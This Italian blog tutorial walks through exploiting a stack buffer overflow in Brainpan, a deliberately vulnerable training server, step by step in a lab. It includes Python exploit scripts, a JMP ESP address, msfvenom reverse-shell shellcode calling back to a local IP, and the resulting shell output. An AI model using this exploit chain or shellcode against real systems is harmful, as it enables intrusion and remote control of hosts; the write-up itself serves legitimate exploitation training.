Stack Buffer Overflow II - Brainpan

Tempo di lettura: 10 minuti
Data pubblicazione: September 19, 2022

Introduzione

Secondo articolo della serie Buffer Overflow, target: Brainpan

Altri post in questa serie:

  1. Stack Buffer Overflow I - Vulnerserver TRUN
  2. Stack Buffer Overflow II - Brainpan
  3. Stack Buffer Overflow III - dostackbufferoverflowgood
  4. Stack Buffer Overflow IV - dostackbufferoverflowgood
  5. Stack Buffer Overflow V - dostackbufferoverflowgood

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

Brainpan

Brainpan è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.

Crash Iniziale

Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 5000  # change me

payload = b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 5000

Riavvio Brainpan e aggiorno lo script inserendo il pattern

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 5000  # change me

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag…"

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Troviamo l’offset preciso con pattern_offset, il quale cerca un preciso pattern all’interno della memoria

0:000> !py mona po 0x35724134 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x35724134
Looking for 4Ar5 in pattern of 500000 bytes
- Pattern 4Ar5 (0x35724134) found in cyclic pattern at position 524
Looking for 4Ar5 in pattern of 500000 bytes
Looking for 5rA4 in pattern of 500000 bytes

Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 5000  # change me
OFFSET = 524

payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 5000 
OFFSET = 524

bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b"A" * OFFSET
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Nessun carattere è stato eliminato/sostituito, quindi passiamo alla fase successiva.

Saltare allo shellcode

L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, per ora proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione il comando con mona è il seguente (escludendo \x00)

0:000> !py mona jmp -r esp -cpb '\x00' 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00'
[+] Results : 
0x311712f3 |   0x311712f3 : jmp esp |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\Exploit\1.Stack Overflow\Brainpain\brainpan.exe)
Found a total of 1 pointers

Tutte le protezioni sono disabilitate, per cui scegliamo il primo.

Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x311712f3), in modo da vedere se è tutto a posto.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 5000  # change me
OFFSET = 524

payload = b"A" * OFFSET
payload += struct.pack("<I",0x311712f3) # JMP ESP
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto. Facendo uno step (over o into, in questo caso è indifferente), vediamo che la prossima istruzione eseguita è proprio la C

Breakpoint 0 hit
eax=ffffffff ebx=00201000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=311712f3 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
brainpan+0x12f3:
311712f3 ffe4            jmp     esp {005ff910}
0:000> t
eax=ffffffff ebx=00201000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff910 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
005ff910 43              inc     ebx

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Creiamo una reverse shell con msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread

Il codice finale sarà

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 5000  # change me
OFFSET = 524

shellcode =  b""
shellcode += b"\xdb\xd6\xd9\x74\x24\xf4\xbb\x4c\x44\x20\xf7"
shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x5a\x17\x03\x5a\x17"
shellcode += b"\x83\x8e\x40\xc2\x02\xf2\xa1\x80\xed\x0a\x32"
shellcode += b"\xe5\x64\xef\x03\x25\x12\x64\x33\x95\x50\x28"
shellcode += b"\xb8\x5e\x34\xd8\x4b\x12\x91\xef\xfc\x99\xc7"
shellcode += b"\xde\xfd\xb2\x34\x41\x7e\xc9\x68\xa1\xbf\x02"
shellcode += b"\x7d\xa0\xf8\x7f\x8c\xf0\x51\x0b\x23\xe4\xd6"
shellcode += b"\x41\xf8\x8f\xa5\x44\x78\x6c\x7d\x66\xa9\x23"
shellcode += b"\xf5\x31\x69\xc2\xda\x49\x20\xdc\x3f\x77\xfa"
shellcode += b"\x57\x8b\x03\xfd\xb1\xc5\xec\x52\xfc\xe9\x1e"
shellcode += b"\xaa\x39\xcd\xc0\xd9\x33\x2d\x7c\xda\x80\x4f"
shellcode += b"\x5a\x6f\x12\xf7\x29\xd7\xfe\x09\xfd\x8e\x75"
shellcode += b"\x05\x4a\xc4\xd1\x0a\x4d\x09\x6a\x36\xc6\xac"
shellcode += b"\xbc\xbe\x9c\x8a\x18\x9a\x47\xb2\x39\x46\x29"
shellcode += b"\xcb\x59\x29\x96\x69\x12\xc4\xc3\x03\x79\x81"
shellcode += b"\x20\x2e\x81\x51\x2f\x39\xf2\x63\xf0\x91\x9c"
shellcode += b"\xcf\x79\x3c\x5b\x2f\x50\xf8\xf3\xce\x5b\xf9"
shellcode += b"\xda\x14\x0f\xa9\x74\xbc\x30\x22\x84\x41\xe5"
shellcode += b"\xe5\xd4\xed\x56\x46\x84\x4d\x07\x2e\xce\x41"
shellcode += b"\x78\x4e\xf1\x8b\x11\xe5\x08\x5c\xde\x52\x13"
shellcode += b"\xa0\xb6\xa0\x13\xc2\xc3\x2c\xf5\x98\xdb\x78"
shellcode += b"\xae\x34\x45\x21\x24\xa4\x8a\xff\x41\xe6\x01"
shellcode += b"\x0c\xb6\xa9\xe1\x79\xa4\x5e\x02\x34\x96\xc9"
shellcode += b"\x1d\xe2\xbe\x96\x8c\x69\x3e\xd0\xac\x25\x69"
shellcode += b"\xb5\x03\x3c\xff\x2b\x3d\x96\x1d\xb6\xdb\xd1"
shellcode += b"\xa5\x6d\x18\xdf\x24\xe3\x24\xfb\x36\x3d\xa4"
shellcode += b"\x47\x62\x91\xf3\x11\xdc\x57\xaa\xd3\xb6\x01"
shellcode += b"\x01\xba\x5e\xd7\x69\x7d\x18\xd8\xa7\x0b\xc4"
shellcode += b"\x69\x1e\x4a\xfb\x46\xf6\x5a\x84\xba\x66\xa4"
shellcode += b"\x5f\x7f\x86\x47\x75\x8a\x2f\xde\x1c\x37\x32"
shellcode += b"\xe1\xcb\x74\x4b\x62\xf9\x04\xa8\x7a\x88\x01"
shellcode += b"\xf4\x3c\x61\x78\x65\xa9\x85\x2f\x86\xf8"


payload = b"A" * OFFSET
payload += struct.pack("<I",0x311712f3) # JMP ESP
payload += b"\x90" * 10
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 20344
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Users\User\Desktop\Exploit\1.Stack Overflow\Brainpain>whoami
whoami
desktop-p7jng2j\user

C:\Users\User\Desktop\Exploit\1.Stack Overflow\Brainpain>

Conclusioni

In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: